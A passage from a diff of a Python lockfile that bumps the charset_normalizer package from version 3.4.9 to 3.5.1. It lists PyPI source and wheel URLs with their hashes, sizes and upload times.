"https://files.pythonhosted.org/packages/80/3f/bd97d3d9c613013d07cb7733d299385b41df37f0471310f5a73dc359f0b8/charset_normalizer-3.4.9-cp314-cp314t-win_amd64.whl", hash = "sha256:9b8e0f3107e2200b76f6054de99016eac3ee6762713587b36baaa7e4bd2ae177", size = 167620, upload-time = "2026-07-07T14:34:33.438Z" }, - { url = "https://files.pythonhosted.org/packages/3d/c6/eee9dca4439b1061f76373f06ea855678cc4a64c1c3c90b50e479edbb8eb/charset_normalizer-3.4.9-cp314-cp314t-win_arm64.whl", hash = "sha256:19ac87f93086ce37b86e098888555c4b4bc48102279bae3350098c0ed664b501", size = 158037, upload-time = "2026-07-07T14:34:35.018Z" }, - { url = "https://files.pythonhosted.org/packages/98/2b/f97f1c193fb855c345d678f5077d6926034db0722df74c8f057020e05a25/charset_normalizer-3.4.9-py3-none-any.whl", hash = "sha256:68e5f26a1ad57ded6d1cfb85331d1c1a195314756471d97758c48498bb4dcdf5", size = 64538, upload-time = "2026-07-07T14:34:56.993Z" }, +version = "3.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", size = 171764, upload-time = "2026-08-15T08:20:44.807Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30", size = 363585, upload-time = "2026-08-15T08:16:46.646Z" }, + { url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488", size = 251189, upload-time = "2026-08-15T08:16:48.287Z" }, + { url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22", size = 239724, upload-time = "2026-08-15T08:16:49.67Z" }, + { url = "https://files.pythonhosted.org/packages/e7/80/b9348b5d3041209f98b4cdad7655766369233f1d533f4f4f7558e9717bec/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6e5e4d73d588ca5ed09df1b7dcd1b203d1df3c542e3f50d126c947d432b10731", size = 280078, upload-time = "2026-08-15T08:16:51.228Z" }, + { url = "https://files.pythonhosted.org/packages/82/38/083a24028304bc85bb9e376fed801178423dcbb67495f73b6ea0624e1894/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b54e7e13267d49ffbfe68e25b3cbd774dab38fa37238f71265e91b36146eb21c", size = 276650, upload-time = "2026-08-15T08:16:52.625Z" }, + { url = "https://files.pythonhosted.org/packages/0d/35/731ac04aa0a097fc1c97f0994c375bdb230c6c96619db794208fe664e9ce/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c7b742bf31c88566b4bb6335a7f393bb322e580b6bb98df7bd0c25e6e3519ce8", size = 262325, upload-time = "2026-08-15T08:16:54.085Z" }, + { url = "https://files.pythonhosted.org/packages/f5/28/c2028e7021fb89c6e56868ed0e387b8e9aa811abdd2ab3208d6578d2c930/charset_normalizer-3.5.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6ba32c4d2abf1d2fe7cf27d280f4cca5664233b0f885549c7761719eb977f486", size = 261140, upload-time = "2026-08-15T08:16:55.604Z" }, + { url = "https://files.pythonhosted.org/packages/28/f0/0c0ceec6d98b7daa62e361e418135d59685811d79ba11529aad5cdf15e84/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0722590aabf9dc6a6c0343d523c05458fa2b5047dbe6302fd526bb570600753f", size = 252791, upload-time = "2026-08-15T08:16:57.103Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3e/48f4cd187b1c33189d86039e9cbe4f92c05454175504b44ff81806d4d1bf/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:aa1099b956fb795e686d073568f6dc002a0bb89765ea6d5b055dd7d9bf1b116c", size = 240730, upload-time = "2026-08-15T08:16:58.418Z" }, + { url = "https://files.pythonhosted.org/packages/42/85/f9e22af69af67c54cce42be9455d9c81294f918b4ccc454db01f66efcac2/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:bd6c173f04743d483881bffa1478d5a4624475b8cd1d2194956a75548e191c18", size = 280791, upload-time = "2026-08-15T08:16:59.918Z" }, + { url = "https://files.pythonhosted.org/packages/fd/4c/9044135f42127630b6fa742feb51256353f6ab87a78f2fdd1de3de955a7f/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f298e218441525d3794428b4c8b8fb8662c6d3ea79925d4807ee6b9a96a3bca5", size = 259598, upload-time = "2026-08-15T08:17:01.421Z" }, + { url = "https://files.pythonhosted.org/packages/ba/ed/1dd7cfebb4e75812934c49ca3b79757d11948053f7937ab7070c151f3c55/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:6e2912d4babbc65196ac13c2f53468dc57fb8b9c25ef913e8c59ddf7c6dc0e1b", size = 278217, upload-time = "2026-08-15T08:17:02.782Z" }, + { url = "https://files.pythonhosted.org/packages/bf/eb/239c84503cc9e3ba6eb34686a24bc66e84f3924efdd7e38e751a19f6bc10/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3d27167433c0d5f18dc850f07d0b3816221984fecdc405d6c157a6f0b8f8e9e6", size = 263417, upload-time = "2026-08-15T08:17:04.216Z" }, + { url = "https://files.pythonhosted.org/packages/37/ab/4e4510e1e288478e2c8333131d1c1382382ba8cd2165053c79e39d1da961/charset_normalizer-3.5.1-cp311-cp311-win32.whl", hash = "sha256:ac00177c4831ffa650f8609e4bdddd5fe09c03b1c0c47acece7e6ea20421598b", size = 181774, upload-time = "2026-08-15T08:17:05.58Z" }, + { url = "https://files.pythonhosted.org/packages/e3/57/32f0ccea59e8612057c61d6fd22ef2cb63cca93c9fe594094919696ac170/charset_normalizer-3.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:f9b1e28d0e8dbfa858abdba91d6b547beaf2df1a59bec6da6faae7b96a4991a9", size = 206653, upload-time = "2026-08-15T08:17:07.075Z" }, + { url = "https://files.pythonhosted.org/packages/17/d4/b65c433fc521e58b5f54293982a5e51c05cb5f2dd3f1c7a6acb65b75324e/charset_normalizer-3.5.1-cp311-cp311-win_arm64.whl", hash = "sha256:ae31a1a1db2ee6cc2942fccaf695c934bc7f3db9f2133a3fef1f367cf1a4ab10", size = 185630, upload-time = "2026-08-15T08:17:08.502Z" }, + { url = "https://files.pythonhosted.org/packages/30/27/78873dc8b6a56357517b74b6bb9568b80450e7bb4f6ef7e3fa9d22aa0bd7/charset_normalizer-3.5.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:5b6d1386bf0096d26d3a863dc0a487a5b4eb9aa93cf5ba69683d29dde6b9d60f", size = 344456, upload-time = "2026-08-15T08:17:10.072Z" }, + { url = "https://files.pythonhosted.org/packages/9a/4c/be49ada26b1f0232d57aa89bbebf997a5cc2332a5616b6eca26ff680044d/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4582c27e8c889d64811987b5967fbd3ae0c823fe1fd933b543d55ac20bb475fa", size = 238530, upload-time = "2026-08-15T08:17:11.563Z" }, + { url = "https://files.pythonhosted.org/packages/76/84/6f1290fa07ae6978d3960caa3eb1b8019bf9284ab7c2297b00c099ef4250/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:1d1c7a53a6c2103925cdd6d7229f8c567379f211c869793df679f2e9f738c369", size = 230200, upload-time = "2026-08-15T08:17:12.919Z" }, + { url = "https://files.pythonhosted.org/packages/e7/a0/47b18adeed31c8f16ba9700f32c1b18594cfa09f47eb672a488c273c22bf/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e6621fb2a4988d6e53eedc455e5903e2679f3967b8acb3d639f1b63c14a2e893", size = 262222, upload-time = "2026-08-15T08:17:14.571Z" }, + { url = "https://files.pythonhosted.org/packages/38/fe/341861ac118dae06f3ec0eb487488af52128f2ef2faf0b11003944d22259/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7c0c10730342b0c9b35dd1d619beb8214e520bd96a1f870f452680b238aab3e0", size = 258951, upload-time = "2026-08-15T08:17:16.158Z" }, + { url = "https://files.pythonhosted.org/packages/6f/89/bb5108dc6c3651dca963f2b0a3ba19bbcb370c94e1b6d3e0e844a58e6dca/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b9af956078716df40d985fb0dfeb2c2120c5ca92ba4ff4b388acfd01cdc14d08", size = 248801, upload-time = "2026-08-15T08:17:17.683Z" }, + { url = "https://files.pythonhosted.org/packages/b1/ba/ef83ae3aca816393decfa3530976f38a79812d707b80b580ac33b83f9877/charset_normalizer-3.5.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f9f8405c2c758532c74fed975dbee57be1f31a6e865c031870c79a6ed3212ada", size = 244070, upload-time = "2026-08-15T08:17:19.191Z" }, + { url = "https://files.pythonhosted.org/packages/f6/0b/c5292a2462d69b7378ea89793bbb5b2b6fcf6f7dd6d1667f9619094ad553/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:96fef3e886d6a9874b14f27fc193fbdc69d5d8035783d86aa4e1cea594e695f9", size = 240110, upload-time = "2026-08-15T08:17:20.547Z" }, + { url = "https://files.pythonhosted.org/packages/46/22/111e5be3b740d5c2a5bfcedb3d237b6591e5c2e82ae9d6ffcb121fe0909c/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5d8531a6569d025f68e2321e7638fb7978f23db58e5f69f56913837aae03816e", size = 232836, upload-time = "2026-08-15T08:17:21.895Z" }, + { url = "https://files.pythonhosted.org/packages/f9/d2/d2aad6fe0dbb44b194bf3becb60f5a0ac48446ade999a47fe7bb41eb09a7/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:aae2ee51122d3ae968a3837d97dc24a0aeebb0dea23694422cd172bd30017cd6", size = 262712, upload-time = "2026-08-15T08:17:23.727Z" }, + { url = "https://files.pythonhosted.org/packages/35/5a/337e4663a5eae6de99db940ee8066d4145caafb61327db62deda15313cce/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:7235dc28fc6dd9d832ac7c7bce95367dedb85929f17368a0c2bee1e080b9acbf", size = 242977, upload-time = "2026-08-15T08:17:25.157Z" }, + { url = "https://files.pythonhosted.org/packages/ca/85/f82f8a92e31c7519410e2e1afdc630f28ec47490ce2c09a11c1a43cbb459/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:4abdc5f9ad448c1ecbfae2974b820535d6bc6e7eef63babbab3d81cf46968c71", size = 260207, upload-time = "2026-08-15T08:17:26.602Z" }, + { url = "https://files.pythonhosted.org/packages/b7/52/643d11ffd60e9ac2fd1fb87e167a19285b9eefeff4a40e63c87cbfbeab36/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ba501e667c17d8411f98e67a022d9604ef179aff0e459b7e292c796837c13573", size = 250562, upload-time = "2026-08-15T08:17:27.971Z" }, + { url = "https://files.pythonhosted.org/packages/62/16/46556278c2168d12df9da7fede5dc6fc70e60301b26a82bbeec238c9cfe3/charset_normalizer-3.5.1-cp312-cp312-win32.whl", hash = "sha256:cfa1c0cc3a8f9f53f1243a5a99ac36fd003880199383b37672e86ddda9cb07e2", size = 178507, upload-time = "2026-08-15T08:17:29.277Z" }, + { url = "https://files.pythonhosted.org/packages/9d/7a/4c6c298171e6b3e745633180ff59350fc0ca0db1ffd28df1e369e0579f71/charset_normalizer-3.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:3617ac3cfd8b9888f145ad89dd6e692285834b0201c6074a5eeaad3fd4d668c2", size = 200551, upload-time = "2026-08-15T08:17:30.668Z" }, + { url = "https://files.pythonhosted.org/packages/cd/d7/eb95a042f0dd22e304b0b6472b154f3546a1a039a9ee89ccb2a7f61591fc/charset_normalizer-3.5.1-cp312-cp312-win_arm64.whl", hash = "sha256:88e85ab89cb822c1e635f51d6d32e488f94e002e70e2f492bdb8b945543f345a", size = 180700, upload-time = "2026-08-15T08:17:32.028Z" }, + { url = "https://files.pythonhosted.org/packages/bc/61/2cb6ad133dbbb449fa2d37ccae973232f4827e799af258d15e589a3d1e9e/charset_normalizer-3.5.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:4f298bdadb8f0b9e5672877f647d1be9373ef5320c9e2f049795e26cad28b6a9", size = 211584, upload-time = "2026-08-15T08:17:33.597Z" }, + { url = "https://files.pythonhosted.org/packages/18/57/a305c968be1ca13f3dd1b32f445877e97addf55d80b65c7cb35fac82b777/charset_normalizer-3.5.1-cp313-cp313-android_24_x86_64.whl", hash = "sha256:88ca277405c2d3b71c4e1c2ee0e7966e807bcba86a69d11e19ba199d18ae4491", size = 223359, upload-time = "2026-08-15T08:17:35.022Z" }, + { url = "https://files.pythonhosted.org/packages/09/0a/d3646670292ce8d8f8cc11ac067d44885e697a5591f57a9221128da5e7b3/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9362dd90aa7dab48c0054a21187791ccf05473f7dba5d92b8033ae62164675e7", size = 194464, upload-time = "2026-08-15T08:17:36.452Z" }, + { url = "https://files.pythonhosted.org/packages/de/93/d51ec556e01042fed6f993ea859311bc7917b466684182fbbceb6ca24762/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:977cdbd483a9cff38179bea4fd754289a6f2195c7abd414aba85410b3e66cc5e", size = 197676, upload-time = "2026-08-15T08:17:37.819Z" }, + { url = "https://files.pythonhosted.org/packages/a4/a0/562247944386f7d4ef94467e84876600cc1e0f1b93239aaa9213d2bc3cbd/charset_normalizer-3.5.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e90251c0c7bdd54a100a0dce3c07b7e637278c93af29dbf78ebb89a58c4bac7d", size = 340473, upload-time = "2026-08-15T08:17:39.303Z" }, + { url = "https://files.pythonhosted.org/packages/31/e7/1d994be1b93d41e9502b8b0460eaa88a1dd8df335df415db87d6c3e91ab2/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:94d78ecec2605a8d0398b0f365d5f12a63248438516f5dac536a5eff7337df4a", size = 240156, upload-time = "2026-08-15T08:17:40.66Z" }, + { url = "https://files.pythonhosted.org/packages/09/53/27923ce5cc6cbccb832037b27dca98882d9c53e9b69e866bbbef4aae7fc8/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d59b75732e9b6f27388e10c14b0259cc5f2e48c78627d185e6a177b58ad3cffe", size = 228246, upload-time = "2026-08-15T08:17:42.003Z" }, + { url = "https://files.pythonhosted.org/packages/ce/48/5a97e84d63af1d55c07439cb80e56d99a8efb4295700eb4e18c0d1615d2c/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0d929fc574b4d6fd9e7c0f5c2ede8716a41911923aa7fa5fce38e0818aa4a1ac", size = 263660, upload-time = "2026-08-15T08:17:43.627Z" }, + { url = "https://files.pythonhosted.org/packages/7a/c2/071575791dcc88316c0a9a65ce38897a82e4cfe4a325f0f7fe1b1ac47bcf/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:394fea06235c8543390050ed5f529187074b029fb027213f6c46ac11ab5d950e", size = 260354, upload-time = "2026-08-15T08:17:45.094Z" }, + { url = "https://files.pythonhosted.org/packages/fb/af/63240b0c0248c075c2535a1f1bd992821d8251b9f173abc13329661d09e4/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:62b55f6722735a6c472f88361cde6640608773d9443cebdbb51abf436a1fcdd3", size = 250638, upload-time = "2026-08-15T08:17:46.496Z" }, + { url = "https://files.pythonhosted.org/packages/4d/66/70dfad64f15be09c15ccfee81330a7e515895dbe296dd23114e9a231268a/charset_normalizer-3.5.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa48b1b63d639f9483e0633e092f5851e2348c352f1f9bb6c8182f87884ef876", size = 244583, upload-time = "2026-08-15T08:17:47.963Z" }, + { url = "https://files.pythonhosted.org/packages/c0/24/ef36367d38b9ddd4bccbf72888c342e8de1f5ae506fa0b2dcf970e2732a1/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c71fb0d56c920c269cd3e2e3fe7c610e3f1fdb21a6ce60efa6430ff63676cea6", size = 242038, upload-time = "2026-08-15T08:17:49.481Z" }, + { url = "https://files.pythonhosted.org/packages/db/ab/55e683ba0fff2e43adafc10daa3001eac90fdaa419a97227d5a7067eedde/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:485a0d363cafefcd2538a73c7c838daa2035f09b2c9f9b5e3133f80c6aeb84c2", size = 233677, upload-time = "2026-08-15T08:17:50.845Z" }, + { url = "https://files.pythonhosted.org/packages/bd/67/0f40eaf8d1b6e7cf15e82382a2965efaca787fc1c2794b7021d37aaf5036/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c0ea61a470e070686aa30892fed79e297d2c8d0ab46b8bcdf027d38c51da591", size = 264491, upload-time = "2026-08-15T08:17:52.61Z" }, + { url = "https://files.pythonhosted.org/packages/5c/64/12b4c2a11ee8df4fcc518c78b0d93e3a92bd3d5253d1617ce74ff0e8c7ef/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:90b7481fb62fbe172c558bc6fd1c4c98d82004a54a7551f20e11ac9bf0b8708c", size = 245196, upload-time = "2026-08-15T08:17:54.023Z" }, + { url = "https://files.pythonhosted.org/packages/37/2e/651d910af6d0fba325eee1cda37ec5443462ed25360e666c144166eb6091/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:35fe081843b35aad20ffeccec3eeffbe637b15d14f3fb22cc1b59cd8ec17e93c", size = 261660, upload-time = "2026-08-15T08:17:55.491Z" }, + { url = "https://files.pythonhosted.org/packages/90/c6/b09e05e6db7f64338e0dc067c79577b1138da86c1e38369096851d96be88/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fd0350afdc3aabd5576f60ea109228bd5538139713c7b094c5cd27c73a98bc6f", size = 252618, upload-time = "2026-08-15T08:17:57.025Z" }, + { url = "https://files.pythonhosted.org/packages/76/4e/362d4f9fdcdf5556fb2aa3ce7d4a58ebce03ed1ff03aa1d9aca8d02f13f3/charset_normalizer-3.5.1-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:9d9a0dc7cbe9bec24c3f767c9122c41fe5a1bc43f47cd099d00d393e09769de4", size = 140362, upload-time = "2026-08-15T08:17:58.425Z" }, + { url = "https://files.pythonhosted.org/packages/b4/d4/703be739b26acce318bd29eb3b25b7209e1b1f527f9eae3d1f1f01fdde2b/charset_normalizer-3.5.1-cp313-cp313-win32.whl", hash = "sha256:d63600d620ad0064c3a748b950ac5ea38a80190e5498532efefa4b7b3f1da1f3", size = 177755, upload-time = "2026-08-15T08:18:00.037Z" }, + { url = "https://files.pythonhosted.org/packages/8a/33/56d97ade41c8db611e727168c52ae46c9224c362ec28d4b65d7e9869e8da/charset_normalizer-3.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:aea996a6aba25260827c9ea511d1addfde2da9eb686ac961838509086188b7e6", size = 199295, upload-time = "2026-08-15T08:18:01.506Z" }, + { url = "https://files.pythonhosted.org/packages/5b/75/5b20dd1e6573a01a08158fe104104fa2c8abf941745596954185726cd46c/charset_normalizer-3.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:fd0a274c0e5f9a21565cd9d3dd749b61f96b7aa1e20a93aa1ba4029518f2e5c0", size = 179856, upload-time = "2026-08-15T08:18:02.929Z" }, + { url = "https://files.pythonhosted.org/packages/29/cd/2b812ce5e888f1ce69a5350281e58aab07ae64a958ecae8912f30865718e/charset_normalizer-3.5.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:774d157f112367ff4abd29019f38f023c24e00e56edc7829c20e358a5a913ad8", size = 212318, upload-time = "2026-08-15T08:18:04.403Z" }, + { url = "https://files.pythonhosted.org/packages/9e/4a/a6ee107430768a5334e6d63f31f148a04a1a491ef161a1ac9415a73f2fa8/charset_normalizer-3.5.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:26422d45fd13551cf564c58932f7d72b4f58b93b0fcf18c35ba6be12b46bb102", size = 224897, upload-time = "2026-08-15T08:18:05.997Z" }, + { url = "https://files.pythonhosted.org/packages/c3/d9/35ae3f64f29d0179c35c3baefe575904df2913dde519129c7f75995a2b1d/charset_normalizer-3.5.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:09a7bba9f739468c8e78c36a75c33768e53cb1959fc638f510454c14683f00d5", size = 194848, upload-time = "2026-08-15T08:18:07.397Z" }, + { url = "https://files.pythonhosted.org/packages/74/76/f2fc7380f056cc273a53af37f50d08ad54b2c59f61078f31432edcf1c2bd/charset_normalizer-3.5.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4c9548dc78002099910abaebc0a72ac58b7d30931869e0351c09b507dff4ece3", size = 198163, upload-time = "2026-08-15T08:18:08.989Z" }, + { url = "https://files.pythonhosted.org/packages/e9/40/095ce62fa078483cccc1fa2b36e6bc9580b85422a20ee9f925341c50e44f/charset_normalizer-3.5.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c428c6c31eb5f4277d7f8eccaf767fbd548ddd5ce3c8b4f4cbbfab3d96b5904c", size = 341823, upload-time = "2026-08-15T08:18:10.458Z" }, + { url = "https://files.pythonhosted.org/packages/f1/5a/0e58b1c04a1596e0256f407274a92d5fb2ee21324409d1fab1da48a65b5b/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2f06b7eae9dbe77fe1d644ca244dad508de8d302870a43f3c559b521270938a0", size = 242458, upload-time = "2026-08-15T08:18:11.989Z" }, + { url = "https://files.pythonhosted.org/packages/22/95/b4618ce912e6db0b1aae89ba788e38e8a7eba0f3025cc66e8c0699f977b2/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6b7430cf5728e68f6c462254009a6ef4086e1bea43cf2f57aa9c55fb4f50ff96", size = 226717, upload-time = "2026-08-15T08:18:13.401Z" }, + { url = "https://files.pythonhosted.org/packages/8a/76/c681192bbda3d55356db5dadd64381d5202b37c6b598fcda5282e88b5d3d/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ab743e9bc90c1f73552ec33e10e3331315acd2c397b36065b591b0181de533cc", size = 266111, upload-time = "2026-08-15T08:18:14.961Z" }, + { url = "https://files.pythonhosted.org/packages/88/be/55127bfca72c0cff6c022488d140d7c5b04c771e3b72e9bdb4836d54979d/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f6f7deae3feb4edfa2efaf7c574fe88cbf055038a6abdb40188e4fff66d5699f", size = 263128, upload-time = "2026-08-15T08:18:16.515Z" }, + { url = "https://files.pythonhosted.org/packages/e0/91/39c3af510b0aa32bbda03374259200f28430febfd1bf5e511fe765282ce5/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:15f024313246a4ed976c60f440bb8d257815513a681d212ff74fd46f7d715a90", size = 251240, upload-time = "2026-08-15T08:18:18.127Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a5/cbe418bbc6ecdfc3e05a0116002897c4b403a5e838d697e64c78e9f0190d/charset_normalizer-3.5.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:823f82903d189af463d7df250ef1f7f696f3cee08cc8d91deb565e8d425f6506", size = 245282, upload-time = "2026-08-15T08:18:19.625Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a4/689bb42e8e7cd492f3cb64907c6bc00ad247ec9a3628cd3f8eed126e8ae1/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:01e93745f7f219b703b60ba7afead36cfc4242782be5af484673fc500df12da5", size = 244597, upload-time = "2026-08-15T08:18:21.121Z" }, + { url = "https://files.pythonhosted.org/packages/c1/ce/9962938e179cf9f699d3f1e7b3114b5d7642dee6a893745229f9dd04f274/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:329fc3ccb63ad22d867d84c2adea759a64079a37ba4a343433b02c7a2816871e", size = 231376, upload-time = "2026-08-15T08:18:22.57Z" }, + { url = "https://files.pythonhosted.org/packages/85/54/46000450ada53bd9eac5429a2c8c54cd2d9b39c0c255f229aea9af0948a5/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:bb57753e36e4855b8ca375069482250a6246372331a3e4f3407eaebb007443f5", size = 266715, upload-time = "2026-08-15T08:18:24.235Z" }, + { url = "https://files.pythonhosted.org/packages/3d/bb/618749d70f792b44252a777bf89bfb86823b9bbc1ea13fe8ce759b07f38a/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:fce8cbd4997efeb450bd298b54f755dcdff18d496f7a5ddbb4867c6d7c88fdc3", size = 245848, upload-time = "2026-08-15T08:18:25.726Z" }, + { url = "https://files.pythonhosted.org/packages/7e/3f/ffb64458527c7668031d5eb095d978de561958dc9f5b53f8e488a533e603/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:6c9cdde8becb25a7fde49924511aa2644d6f8081cc8df8e9452724303348d8e3", size = 264521, upload-time = "2026-08-15T08:18:27.193Z" }, + { url = "https://files.pythonhosted.org/packages/4f/ab/74a55fd803916a35ac461daf002708191aac19b546b80dc8cabfedc63d98/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9ac4444d8d4fd4c4bd08bf451ed3167aa9e7ec6cdb41b648794f1d1103652e36", size = 253054, upload-time = "2026-08-15T08:18:28.568Z" }, + { url = "https://files.pythonhosted.org/packages/a0/2a/6a9034b7d3c60b17499afb482df5878bf9fa20b50cc3887d5ef017a833db/charset_normalizer-3.5.1-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:f03ac127268b43ef4fe9e6ab6794a6794b49485a0cc0c1db79876d2f33f75bc7", size = 140580, upload-time = "2026-08-15T08:18:30.214Z" }, + { url = "https://files.pythonhosted.org/packages/f3/46/1d362e1a00d035d66b9869e1281eee115907f7e390a16a07824ab5737360/charset_normalizer-3.5.1-cp314-cp314-win32.whl", hash = "sha256:1f5883d77fd409a261abb5dc8ccbe335720d798b1de4abb3b1d47ccbbc76b53b", size = 180325, upload-time = "2026-08-15T08:18:31.877Z" }, + { url = "https://files.pythonhosted.org/packages/7a/7c/4938c329b6a9d446f6a59aa2092ff7118f274209b5ed0e26893d1d30a63c/charset_normalizer-3.5.1-cp314-cp314-win_amd64.whl", hash = "sha256:c658c50ac0c98cd755a2dd50b7977d3bca7df401dcc47fbdfa87db53ef7d4e8b", size = 204175, upload-time = "2026-08-15T08:18:33.466Z" }, + { url = 